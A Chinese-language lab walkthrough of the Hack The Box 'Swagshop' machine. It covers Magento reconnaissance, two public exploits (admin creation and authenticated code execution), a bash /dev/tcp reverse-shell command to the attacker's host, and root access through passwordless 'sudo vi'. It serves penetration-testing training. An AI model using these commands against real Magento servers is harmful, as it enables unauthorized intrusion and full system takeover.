出品|MS08067实验室(www.ms08067.com)

本文作者:是大方子(Ms08067实验室核心成员)

总结与反思

  • 使用vi提权
  • magento漏洞的利用
  • magescan 工具的使用

靶机介绍

靶机IP:10.10.10.140

kali:10.10.12.69

先用nmap来对靶机进行探测

  1. nmap sC sV T 5 oA Swagshop.nmap 10.10.10.140

扫描结果

  1. # Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5
  2. oA Swagshop.nmap 10.10.10.140
  3. Warning: 10.10.10.140 giving up on port because retransmission cap hit
  4. (2).
  5. Nmap scan report for 10.10.10.140
  6. Host is up (0.33s latency).
  7. Not shown: 855 closed ports, 143 filtered ports
  8. PORT STATE SERVICE VERSION
  9. 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol
  10. 2.0)
  11. | sshhostkey:
  12. | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
  13. |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
  14. 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
  15. |_httptitle: Home page
  16. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  17. Service detection performed. Please report any incorrect results at http
  18. s://nmap.org/submit/ .
  19. # Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann
  20. ed in 73.75 seconds

开放了22 和 80端口,直接打开访问下网页

Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。

设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

接下来就是网页上进行信息收集。

首先是下面的版权,2014年可以为找漏洞的线索

我们随便点开网页有一个比较奇怪的地方,感觉像是URL重写,前面都会多一个index.php

通过gubuster,跑出来的目录也没有什么用

这样收集的信息也不是很够,我们还需要另外的工具进行辅助

magescan 专门针对magento的扫描器

下载地址:https://github.com/steverobbins/magescan/releases

  1. >php magescan.phar scan:all http://10.10.10.140
  2. Scanning http://10.10.10.140/...
  3. Magento Information
  4. +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
  5. | Parameter | Value |
  6. +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
  7. | Edition | Community |
  8. | Version | 1.9.0.0, 1.9.0.1 |
  9. +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
  10. Installed Modules
  11. No detectable modules were found
  12. Catalog Information
  13. +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
  14. | Type | Count |
  15. +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
  16. | Categories | Unknown |
  17. | Products | Unknown |
  18. +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
  19. Patches
  20. +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
  21. | Name | Status |
  22. +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
  23. | SUPEE5344 | Unknown |
  24. | SUPEE5994 | Unknown |
  25. | SUPEE6285 | Unknown |
  26. | SUPEE6482 | Unknown |
  27. | SUPEE6788 | Unknown |
  28. | SUPEE7405 | Unknown |
  29. | SUPEE8788 | Unknown |
  30. +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
  31. Sitemap
  32. Sitemap is not declared in robots.txt
  33. Sitemap is not accessible: http://10.10.10.140/sitemap.xml
  34. Server Technology
  35. +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
  36. | Key | Value |
  37. +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
  38. | Server | Apache/2.4.18 (Ubuntu) |
  39. +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
  40. Unreachable Path Check
  41. +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
  42. +
  43. | Path | Response Code | Status |
  44. +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
  45. +
  46. | .bzr/ | 404 | Pass |
  47. | .cvs/ | 404 | Pass |
  48. | .git/ | 404 | Pass |
  49. | .git/config | 404 | Pass |
  50. | .git/refs/ | 404 | Pass |
  51. | .gitignore | 404 | Pass |
  52. | .hg/ | 404 | Pass |
  53. | .idea | 404 | Pass |
  54. | .svn/ | 404 | Pass |
  55. | .svn/entries | 404 | Pass |
  56. | admin/ | 404 | Pass |
  57. | admin123/ | 404 | Pass |
  58. | adminer.php | 404 | Pass |
  59. | administrator/ | 404 | Pass |
  60. | adminpanel/ | 404 | Pass |
  61. | aittmp/index.php | 404 | Pass |
  62. | app/etc/enterprise.xml | 404 | Pass |
  63. | app/etc/local.xml | 200 | Fail |
  64. | backend/ | 404 | Pass |
  65. | backoffice/ | 404 | Pass |
  66. | beheer/ | 404 | Pass |
  67. | capistrano/config/deploy.rb | 404 | Pass |
  68. | chive | 404 | Pass |
  69. | composer.json | 404 | Pass |
  70. | composer.lock | 404 | Pass |
  71. | vendor/composer/installed.json | 404 | Pass |
  72. | config/deploy.rb | 404 | Pass |
  73. | control/ | 404 | Pass |
  74. | dev/tests/functional/etc/config.xml | 404 | Pass |
  75. | downloader/index.php | 404 | Pass |
  76. | index.php/rss/order/NEW/new | 200 | Fail |
  77. | info.php | 404 | Pass |
  78. | mageaudit.php | 404 | Pass |
  79. | magmi/ | 404 | Pass |
  80. | magmi/conf/magmi.ini | 404 | Pass |
  81. | magmi/web/magmi.php | 404 | Pass |
  82. | Makefile | 404 | Pass |
  83. | manage/ | 404 | Pass |
  84. | management/ | 404 | Pass |
  85. | manager/ | 404 | Pass |
  86. | modman | 404 | Pass |
  87. | p.php | 404 | Pass |
  88. | panel/ | 404 | Pass |
  89. | phpinfo.php | 404 | Pass |
  90. | phpmyadmin | 404 | Pass |
  91. | README.md | 404 | Pass |
  92. | README.txt | 404 | Pass |
  93. | shell/ | 200 | Fail |
  94. | shopadmin/ | 404 | Pass |
  95. | site_admin/ | 404 | Pass |
  96. | var/export/ | 404 | Pass |
  97. | var/export/export_all_products.csv | 404 | Pass |
  98. | var/export/export_customers.csv | 404 | Pass |
  99. | var/export/export_product_stocks.csv | 404 | Pass |
  100. | var/log/ | 404 | Pass |
  101. | var/log/exception.log | 404 | Pass |
  102. | var/log/payment_authnetcim.log | 404 | Pass |
  103. | var/log/payment_authorizenet.log | 404 | Pass |
  104. | var/log/payment_authorizenet_directpost.log | 404 | Pass |
  105. | var/log/payment_cybersource_soap.log | 404 | Pass |
  106. | var/log/payment_ogone.log | 404 | Pass |
  107. | var/log/payment_payflow_advanced.log | 404 | Pass |
  108. | var/log/payment_payflow_link.log | 404 | Pass |
  109. | var/log/payment_paypal_billing_agreement.log | 404 | Pass |
  110. | var/log/payment_paypal_direct.log | 404 | Pass |
  111. | var/log/payment_paypal_express.log | 404 | Pass |
  112. | var/log/payment_paypal_standard.log | 404 | Pass |
  113. | var/log/payment_paypaluk_express.log | 404 | Pass |
  114. | var/log/payment_pbridge.log | 404 | Pass |
  115. | var/log/payment_verisign.log | 404 | Pass |
  116. | var/log/system.log | 404 | Pass |
  117. | var/report/ | 404 | Pass |
  118. +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
  119. +

从扫描结果我们可以看到magento的版本大概为1.9.0.0, 1.9.0.1。

敏感路径:

  1. /app/etc/local.xml(有线索)
  2. /index.php/rss/order/NEW/new(无用)
  3. /shopadmin/

接下来用searchsploit来找下magento现在已经的漏洞

通过 -x 参数可以看到这些EXP的内容

主要是用到这两个:

第一个,用来进行远程代码执行(但是需要通过身份验证) 。

**第二个,可以用来创建管理员账号密码(给第一个EXP的利用创造条件)。 **

先试用第二个EXP,创建管理员账号密码 通过-m 参数可以吧EXP复制到当前路径

然后对EXP进行修改,这里修改3个地方。

  1. 在之前我们也看到,网页前面都会增加index.php,所以这里我们也要加,否则。。。。你自己可以试试看会是包

  1. 这里修改我们增加管理的账号密码

  1. 修改下输出信息,方便成功后能直观看到我们的账号密码

然后执行下

我们尝试登录下

成功登录

接下来就是利用另一个EXP,来进行远程代码执行

重新编辑下EXP

我们可以看到我们需要配置的地方

  1. usernamedfz
  2. passworddfz
  3. php_function:我们不需要修改
  4. install_data:在上面我们发现的/app/etc/local.xml可以查询到

配置好的信息如下:

开始执行

可以看到mechanize报了一个找不到元素的错,mechanize是python里面模拟浏览器操作的模块。结合它需要管理员账号密码,这里应该填的是管理员页面地址。

可以看到命令执行成功

那么我们就用它反弹shell

无法正常反弹!

这里猜测,可能是因为这串代码传到服务器的时候 可能因为空格或者是其他的异常的符导致服务器执行失败。之前我们看到whoami命令是可以正常执行的。那么我们就把代码换成这样

  1. python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "

这样当服务器解析到bash -c 时 可以把后面单引号内的内容执行,防止意外干扰

成功!!!我们看下自己的sudo权限

可以看到我们使用vi和使用目录/var/www/html是不需要密码就能获得root权限的。

第一反应就是使用vi来进行提权,先使用python的pty

  1. python c "import pty;pty.spawn('/bin/bash')"

发现没有python,但是我们可以用python3

  1. python3 c "import pty;pty.spawn('/bin/bash')"

然后在处理方向键等乱码问题。

先ctrl+z 把进程挂到后台,然后输入stty raw -echo,在输入fg(不会显示出来),多按几次回车即可

然后需要使用vi进行提权,需要注意的是:

  1. 要增加sudo
  2. vi要输入文件的绝对路径
  1. sudo vi /var/www/html/sdfzy

vi开启后进入命令行模式,然后执行命令

  1. :!/bin/bash

即可拿到root权限!





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

【HTB系列】 靶机Swagshop的渗透测试详解的更多相关文章

  1. 【HTB系列】靶机Frolic的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  3. 【HTB系列】靶机Chaos的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...

  4. 【HTB系列】靶机Vault的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...

  5. 【HTB系列】靶机Teacher的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...

  6. SpringBoot系列(六)集成thymeleaf详解版

    SpringBoot系列(六)集成thymeleaf详解版 1. thymeleaf简介  1. Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎.  2. Thymeleaf ...

  7. Spring框架系列(8) - Spring IOC实现原理详解之Bean实例化(生命周期,循环依赖等)

    上文,我们看了IOC设计要点和设计结构:以及Spring如何实现将资源配置(以xml配置为例)通过加载,解析,生成BeanDefination并注册到IoC容器中的:容器中存放的是Bean的定义即Be ...

  8. Spring框架系列(11) - Spring AOP实现原理详解之Cglib代理实现

    我们在前文中已经介绍了SpringAOP的切面实现和创建动态代理的过程,那么动态代理是如何工作的呢?本文主要介绍Cglib动态代理的案例和SpringAOP实现的原理.@pdai Spring框架系列 ...

  9. Spring框架系列(12) - Spring AOP实现原理详解之JDK代理实现

    上文我们学习了SpringAOP Cglib动态代理的实现,本文主要是SpringAOP JDK动态代理的案例和实现部分.@pdai Spring框架系列(12) - Spring AOP实现原理详解 ...

随机推荐

  1. Codeforces Round #646 (Div. 2) B. Subsequence Hate(前缀和)

    题目链接:https://codeforces.com/contest/1363/problem/B 题意 可以将 $01$ 串中的 $0$ 变为 $1$.$1$ 变为 $0$,问至少需要变换多少字符 ...

  2. 【noi 2.6_1481】Maximum sum(DP)

    题意:求不重叠的2段连续和的最大值. 状态定义f[i]为必选a[i]的最大连续和,mxu[i],mxv[i]分别为前缀和后缀的最大连续和. 注意:初始化f[]为0,而max值为-INF.要看好数据范围 ...

  3. KMP(算法描述)

    #include<iostream> using namespace std; const int N=10010,M=100010; int n,m; char p[N],s[M]; i ...

  4. poj3661 Running

    Description The cows are trying to become better athletes, so Bessie is running on a track for exact ...

  5. 详解Go语言I/O多路复用netpoller模型

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com 本文使用的go的源码15.7 可以从 Go 源码目录结构和对应代码文件了解 Go 在不同 ...

  6. P1337 [JSOI2004]平衡点(模拟退火)题解

    题意: 如图:有n个重物,每个重物系在一条足够长的绳子上.每条绳子自上而下穿过桌面上的洞,然后系在一起.图中X处就是公共的绳结.假设绳子是完全弹性的(不会造成能量损失),桌子足够高(因而重物不会垂到地 ...

  7. HDU 6155 Subsequence Count(矩阵 + DP + 线段树)题解

    题意:01串,操作1:把l r区间的0变1,1变0:操作2:求出l r区间的子序列种数 思路:设DP[i][j]为到i为止以j结尾的种数,假设j为0,那么dp[i][0] = dp[i - 1][1] ...

  8. JavaScript 高级程序设计 (第4版) 思维导图/脑图 All In One

    JavaScript 高级程序设计 (第4版) 思维导图/脑图 All In One JavaScript 高级程序设计 (第4版) 思维导图下载 JavaScript 高级程序设计 (第4版) 脑图 ...

  9. iOS WebView All In One

    iOS WebView All In One WKWebView / UIWebView Swift Playground //: A UIKit based Playground for prese ...

  10. fibonacci all in one

    fibonacci all in one fibonacci sequence https://www.mathsisfun.com/numbers/fibonacci-sequence.html f ...